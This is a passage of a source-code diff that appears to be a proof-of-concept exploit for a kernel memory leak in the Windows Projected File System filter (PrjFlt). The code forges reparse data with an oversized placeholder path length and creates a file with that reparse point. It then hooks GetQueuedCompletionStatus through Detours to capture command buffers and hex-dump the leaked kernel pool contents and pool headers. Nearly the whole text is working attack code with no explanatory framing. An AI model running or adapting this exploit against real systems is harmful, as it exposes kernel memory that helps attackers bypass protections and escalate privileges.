CreateReparseData(PCWSTR szRelPath, DWORD dwFlags, PUSHORT pLength) { + USHORT RelPathLength = MAX_PATH; + USHORT Length = RelPathLength + 0x11A; + _PRJ_REPARSE_DATA* ReparseData = (_PRJ_REPARSE_DATA*)calloc(1ui64, Length); + + ReparseData->Version = 2; + ReparseData->PlaceHolderRelPathLength = RelPathLength; + + if (RelPathLength) { + memcpy(ReparseData->szPlaceHolderRelPathBuffer, szRelPath, RelPathLength); + } + + *pLength = Length; + return ReparseData; +} + + +void PrintOutput(char* buf, int Size) { + + //printf("\n"); + for (int i = 0; i < Size; i++) + { + if (i != 0 && i % 8 == 0 && i % 16 != 0) { + printf("-"); + + } + else if (i > 0) + { + printf(" "); + } + + + if (i % 16 == 0 && i != 0) { + printf("\n"); + } + + printf("%02x", (unsigned)(unsigned char)buf[i]); + + } + printf("\n"); +} + +struct _POOL_HEADER +{ + union + { + struct + { + USHORT PreviousSize : 8; //0x0 + USHORT PoolIndex : 8; //0x0 + USHORT BlockSize : 8; //0x2 + USHORT PoolType : 8; //0x2 + }; + ULONG Ulong1; //0x0 + }; + ULONG PoolTag; //0x4 + union + { + struct _EPROCESS* ProcessBilled; //0x8 + struct + { + USHORT AllocatorBackTraceIndex; //0x8 + USHORT PoolTagHash; //0xa + }; + }; +}; + +void PrintPoolHeader(_POOL_HEADER* Header) { + if (Header->PoolTag != 0) { + + char szTag[0x10] = { 0 }; + ULONG size = Header->BlockSize * 0x10; + memcpy(szTag, &Header->PoolTag, 4); + + printf("First PoolTag: %s, size: 0x%x\n", szTag, size); + } + +} + +void PrintPool(char* Data, ULONG Size) { + + ULONG BlockSize = 0; + + while (Size > 0) { + _POOL_HEADER* Header = (_POOL_HEADER*)Data; + + if (Header->PoolTag != 0) { + char szTag[0x10] = { 0 }; + BlockSize = Header->BlockSize * 0x10; + memcpy(szTag, &Header->PoolTag, 4); + + printf("PoolTag: %s, size: 0x%x\n", szTag, BlockSize); + + if (Size >= BlockSize) { + PrintOutput(Data, BlockSize); + } + } + else { + PrintOutput(Data, Size); + break; + } + + Data = Data + BlockSize; + Size = Size - BlockSize; + } + +} + +void PortInit() { + + static HANDLE hPort = NULL; + static GUID InstanceId; + + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + InstanceId = InstanceInfo.InstanceID; + + + //PrjStopVirtualizing(gInstanceHandle); + + _PRJ_CONNECTION_CONTEXT Context; + Context.VolumeLength = 0x100; + Context.Version = 1; + Context.virtualizationInstanceID = InstanceId; + wcscpy_s(Context.szVolume, L"c:\\"); + ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT); + + HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort); + //HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, NULL, 0, NULL, &hPort); + + printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort); + +} + + +HRESULT __fastcall PrjpConstructLongPath(PCWSTR szFilePath, PCWSTR* pszLongPath2, PCWSTR* pszLongPath) +{ + unsigned __int64 Length; // rbx + const WCHAR* szLongPath; // rax + + Length = 0xFFFFFFFFFFFFFFFFui64; + do + ++Length; + while (szFilePath[Length]); + *pszLongPath2 = 0i64; + if (Length < 0x104 || !wcsncmp(szFilePath, L"\\\\?\\", 4ui64)) + { + *pszLongPath = szFilePath; + } + else + { + szLongPath = (WCHAR*)calloc(Length + 5, 2ui64); + *pszLongPath2 = szLongPath; + if (!szLongPath) + return 0x8007000E; // E_OUTOFMEMORY + if ((unsigned int)wcsncpy_s((PWSTR)szLongPath, Length + 5, L"\\\\?\\", 4i64) + || (unsigned int)wcsncat_s((PWSTR)(*pszLongPath2), Length + 5, szFilePath, Length)) + { + return 0x80004005; // E_FAIL + } + *pszLongPath = *pszLongPath2; + } + return 0; +} + +HRESULT __fastcall PrjpReadReparsePoint(PCWSTR szFilePath, _PRJ_REPARSE_DATA_BUFFER** pReparseDataBuffer) +{ + _PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // r15 + PCWSTR ErrorMessage; // rdi + HRESULT hr; // ebx + unsigned __int64 Length; // rcx MAPDST + ULONG Size; // ecx MAPDST + HANDLE FileHandle; // rax MAPDST + signed int LastError; // eax + unsigned int* EventDescriptor; // rdx + LPCWSTR hr64; // [rsp+40h] [rbp-49h] + LPCWSTR szLongPath; // [rsp+40h] [rbp-49h] FORCED BYREF + PCWSTR pszLongPath2; // [rsp+48h] [rbp-41h] BYREF + + + Length = 0xFFFFFFFFFFFFFFFFui64; + hr64 = 0i64; + pszLongPath2 = 0i64; + ErrorMessage = 0i64; + FileHandle = (HANDLE)0xFFFFFFFFFFFFFFFFi64; + if (!pReparseDataBuffer) + { + hr = 0x80070057; // E_INVALIDARG + goto LABEL_3; + } + ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1, 0x4000ui64); + if (!ReparseDataBuffer) + { + ErrorMessage = L"Couldn't allocate memory for Reparse Data"; + hr = 0x8007000E; // E_OUTOFMEMORY + LABEL_3: + Size = 2; + return hr; + } + hr = PrjpConstructLongPath(szFilePath, &pszLongPath2, &szLongPath); + if (hr < 0) + { + ErrorMessage = L"PrjpConstructLongPath failed"; + goto LABEL_21; + } + hr = 0; + FileHandle = CreateFileW(szLongPath, 0x80u, 3u, 0i64, 3u, 0x2200000u, 0i64); + if (FileHandle == (HANDLE)0xFFFFFFFFFFFFFFFFi64) + { + ErrorMessage = L"Failed to open file"; + goto LABEL_14; + } + if (!DeviceIoControl(FileHandle, 0x900A8u, 0i64, 0, ReparseDataBuffer, 0x4000u, 0i64, 0i64))// FSCTL_GET_REPARSE_POINT + { + ErrorMessage = L"Failed to get reparse point"; + LABEL_14: + LastError = GetLastError(); + hr = LastError; + if (LastError > 0) + hr = (unsigned __int16)LastError | 0x80070000; + LABEL_21: + free(ReparseDataBuffer); + if (FileHandle == (HANDLE)0xFFFFFFFFFFFFFFFFi64) + goto LABEL_25; + goto LABEL_24; + } + if (ReparseDataBuffer->ReparseTag != 0x9000001C && ReparseDataBuffer->ReparseTag != 0xA0000022) + { + ErrorMessage = L"Another Reparse Tag Encountered"; + hr = 0x8007112A; + goto LABEL_21; + } + *pReparseDataBuffer = ReparseDataBuffer; +LABEL_24: + CloseHandle(FileHandle); +LABEL_25: + + if (pszLongPath2) + free((void*)pszLongPath2); + if (hr >= 0) + return hr; + if (hr != 0x80071126) + goto LABEL_3; + + return hr; +} + + +HANDLE CreateWorkerProcess() { + STARTUPINFO si = { sizeof(si) }; + PROCESS_INFORMATION pi; + WCHAR szCommandLine[MAX_PATH + 1]; + swprintf(szCommandLine, MAX_PATH, L"%ls -Worker", gProcessPath); + + bool bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi); + return pi.hProcess; +} + +struct __declspec(align(4)) _PRJ_COMMAND_BUFFER +{ + ULONG BufferLength; + int CmdType; + GUID VirtualizationInstanceID; + char Id[4]; + char StreamUuid[16]; + char StreamHandleUuid[16]; + PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo; + int Padding; + char Data[544]; + int RelPathOffset; + int RelPathLength; + int FilePathOffset; + int FilePathLength; + ULONG Pid; + int ProcessNameOffset; + int ProcessNameLength; + int Padding2; + WCHAR RelPathBuffer[1]; + WCHAR FilePathBuffer[1]; + WCHAR ProcessNameBuffer[1]; +}; + + +typedef BOOL (WINAPI* _GetQueuedCompletionStatus)( + HANDLE CompletionPort, + LPDWORD lpNumberOfBytesTransferred, + PULONG_PTR lpCompletionKey, + LPOVERLAPPED* lpOverlapped, + DWORD dwMilliseconds +); + +_GetQueuedCompletionStatus TrueGetQueuedCompletionStatus = NULL; + + +BOOL MyGetQueuedCompletionStatus( + HANDLE CompletionPort, + LPDWORD lpNumberOfBytesTransferred, + PULONG_PTR lpCompletionKey, + LPOVERLAPPED* lpOverlapped, + DWORD dwMilliseconds +) { + BOOL bResult = TrueGetQueuedCompletionStatus(CompletionPort, lpNumberOfBytesTransferred, lpCompletionKey, lpOverlapped, dwMilliseconds); + + if (bResult) { + _PRJ_COMMAND_BUFFER* CommandBuffer = (_PRJ_COMMAND_BUFFER*)((char*)(*lpOverlapped) + sizeof(OVERLAPPED) + sizeof(_FILTER_MESSAGE_HEADER)); + ULONG RelPathLength = CommandBuffer->RelPathLength; + ULONG RelPathOffset = CommandBuffer->RelPathOffset; + ULONG LeakedDataOffset = 0x2e; + if (CommandBuffer->CmdType == 7 && RelPathLength > MAX_PATH) { + char* RelBuffer = (char*)CommandBuffer + RelPathOffset; + + char* Leakeddata = RelBuffer + LeakedDataOffset; + ULONG LeakeddDataLength = RelPathLength - LeakedDataOffset; + + printf("\nLeaked length = 0x%x\n", LeakeddDataLength); + PrintPoolHeader((_POOL_HEADER*)Leakeddata); + PrintOutput(Leakeddata, LeakeddDataLength); + //PrintPool(Leakeddata, LeakeddDataLength); + } + } + + return bResult; + +} + +void LoadHook() { + + TrueGetQueuedCompletionStatus = (_GetQueuedCompletionStatus)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "GetQueuedCompletionStatus"); + + LONG error; + DetourRestoreAfterWith(); + DetourTransactionBegin(); + DetourUpdateThread(GetCurrentThread()); + //DetourAttach(&(PVOID&)TrueFilterGetMessage, MyFilterGetMessage); + DetourAttach(&(PVOID&)TrueGetQueuedCompletionStatus, MyGetQueuedCompletionStatus); + error = DetourTransactionCommit(); + + if (error == NO_ERROR) { + printf("Detoured GetQueuedCompletionStatus().\n"); + } + else { + printf("Error detouring GetQueuedCompletionStatus(): %d\n", error); + } +} + +void Main1() +{ + //getchar(); + LoadHook(); + CreateVirtualizationRoot(); + StartVirtualizatioInstance(); + PrintInstanceId(); + PortInit(); + + + HANDLE hProcess = CreateWorkerProcess(); + WaitForSingleObject(hProcess, INFINITE); + CloseHandle(hProcess); + //printf("\nPress enter key to continue . . .\n"); + + PrjStopVirtualizing(gInstanceHandle); + getchar(); + +} + +void Main2() { + BOOL bResult = FALSE; + HRESULT hr = 0; + USHORT Length = 0; + HANDLE DirFileHandle = NULL; + HANDLE FileHandle = NULL; + _PRJ_REPARSE_DATA* ReparseData = NULL; + + bResult = RemoveDirectoryW(L"c:\\PrjTest\\virtroot"); + DeleteFileW(L"c:\\PrjTest\\virtroot"); + + ReparseData = CreateReparseData(L"dd", 0x10, &Length); + + hr = CreateFileWithReparsePoint(&DirFileHandle, L"\\??\\c:\\PrjTest\\virtroot2", ReparseData, Length, 0x9000001C, false); + _PRJ_REPARSE_DATA_BUFFER* pReparseDataBuffer = NULL; + hr = PrjpReadReparsePoint(L"c:\\PrjTest\\virtroot2", &pReparseDataBuffer); + + pReparseDataBuffer = NULL; + bResult = MoveFileExW(L"c:\\PrjTest\\virtroot2", L"c:\\PrjTest\\virtroot", MOVEFILE_REPLACE_EXISTING); + hr = PrjpReadReparsePoint(L"c:\\PrjTest\\virtroot", &pReparseDataBuffer); + + FileHandle = CreateFileW(L"c:\\PrjTest\\virtroot", GENERIC_READ | GENERIC_WRITE, 3u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64); +} + +int wmain(int argc, WCHAR* argv[]) +{ + + gProcessPath = argv[0]; + + if (argc == 1) { + Main1(); + } + else if (argc == 2) { + Main2(); + } + + return 0; +} \ No newline at end of file